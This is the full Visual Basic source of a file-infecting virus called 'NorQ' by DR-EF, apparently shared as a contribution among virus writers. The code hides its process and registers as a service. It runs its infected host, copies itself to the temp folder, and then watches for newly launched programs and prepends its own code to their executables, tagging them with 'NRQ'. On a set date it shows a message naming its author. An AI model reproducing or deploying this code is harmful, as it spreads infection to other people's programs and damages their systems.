Contribution - NorQ [by DR-EF]
'NorQ Virus (c) 2003 DR-EF ALL RIGHT RESERVED!
'---------------------------------------------
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hsnapshot As Long, uproc As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hsnapshot As Long, uproc As PROCESSENTRY32) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Const VirusSize As Integer = 11264
Const TH32CS_SNAPPROCESS As Long = 2&
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Dim Prc_Founded(1 To 150) As String, Counter As Integer
Private Sub Form_Load()
On Error Resume Next
Dim Current_ProcessID As Long, VirusPath, HostCode As String, NRQ
Dim HostFileName, HostProcess As Long, Host_TSK_ID As Long, IsExit As Long
Dim snp As Long, Hprc, prc As PROCESSENTRY32, VirusCode As String
Dim Target, Gone As Boolean, TempFile, TFsize, Buffer As String * 260
App.TaskVisible = False
Me.Hide
Current_ProcessID = GetCurrentProcessId
RegisterServiceProcess Current_ProcessID, 1
If Day(Now()) = 19 And Month(Now()) = 5 Then
MsgBox "NorQ Virus Written By DR-EF", vbInformation, ".:NorQ:. Virus © DR-EF"
End If
VirusPath = App.Path
If Right(VirusPath, 1) = "\" Then
VirusPath = VirusPath & App.EXEName & ".exe"
Else
VirusPath = VirusPath & "\" & App.EXEName & ".exe"
End If
HostFileName = Mid(VirusPath, 1, Len(VirusPath) - 3) & "NRQ"
NRQ = FreeFile
Open VirusPath For Binary Access Read As #NRQ
HostCode = Space$(FileLen(VirusPath) - VirusSize)
Get #NRQ, VirusSize, HostCode
Close #NRQ
Open HostFileName For Binary Access Write As #NRQ
Put #NRQ, , HostCode
Close #NRQ
SetAttr HostFileName, vbHidden
Host_TSK_ID = Shell(HostFileName & " " & Command, vbNormalFocus)
HostProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Host_TSK_ID)
Do
DoEvents
GetExitCodeProcess HostProcess, IsExit
Loop Until IsExit <> STILL_ACTIVE
SetAttr HostFileName, vbNormal
Kill HostFileName
If App.PrevInstance = True Then End
TFsize = GetTempPath(260, Buffer)
Buffer = Mid(Buffer, 1, TFsize)
TempFile = Trim(Buffer) & "NorQ.exe"
Kill TempFile
VirusCode = Space$(VirusSize)
Open VirusPath For Binary Access Read As #NRQ
Get #NRQ, , VirusCode
Close #NRQ
Open TempFile For Binary Access Write As #NRQ
Put #NRQ, , VirusCode
Close #NRQ
Shell TempFile, vbNormalFocus
If LCase(VirusPath) <> LCase(TempFile) Then End
snp = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)
prc.dwSize = Len(prc)
Hprc = ProcessFirst(snp, prc)
Do
Prc_Founded(Counter + 1) = LCase(prc.szexeFile)
Counter = Counter + 1
Loop While (ProcessNext(snp, prc))
CloseHandle snp
For I = 1 To 20
prc.dwSize = Len(prc)
Scan_Again:
snp = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)
ProcessFirst snp, prc
Do
DoEvents
If Is_Found(LCase(prc.szexeFile)) = False Then
Target = LCase(prc.szexeFile)
Exit Do
End If
Loop While (ProcessNext(snp, prc))
CloseHandle snp
If Target = "" Then GoTo Scan_Again
Scan_Again2:
Gone = False
snp = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)
ProcessFirst snp, prc
Do
DoEvents
If LCase(prc.szexeFile) = Target Then
Gone = True
Else
Gone = False
End If
Loop While (ProcessNext(snp, prc))
CloseHandle snp
If Gone = True Then GoTo Scan_Again2
If Right(LCase(VBA.Left(Target, InStr(1, Target, Chr(0), vbTextCompare) - 1)), 3) = "exe" Then
' MsgBox Target
Open VirusPath For Binary Access Read As #NRQ
VirusCode = Space$(VirusSize)
Get #NRQ, , VirusCode
Close #NRQ
HostCode = ""
Open Target For Binary Access Read As #NRQ
HostCode = Space$(FileLen(Target))
Get #NRQ, , HostCode
Close #NRQ
If Right(HostCode, 3) <> "NRQ" Then
Open Target For Binary Access Write As #NRQ
Put #NRQ, , VirusCode
Put #NRQ, VirusSize, HostCode
Put #NRQ, LOF(NRQ) + 3, "NRQ"
Close #NRQ
End If
End If
Prc_Founded(Counter + 1) = LCase(Target)
Counter = Counter + 1
Target = ""
Next
End
End Sub
Function Is_Found(ProcessName) As Boolean
For I = 1 To 150
If Prc_Founded(I) = ProcessName Then
Is_Found = True
Exit For
End If
Next
End Function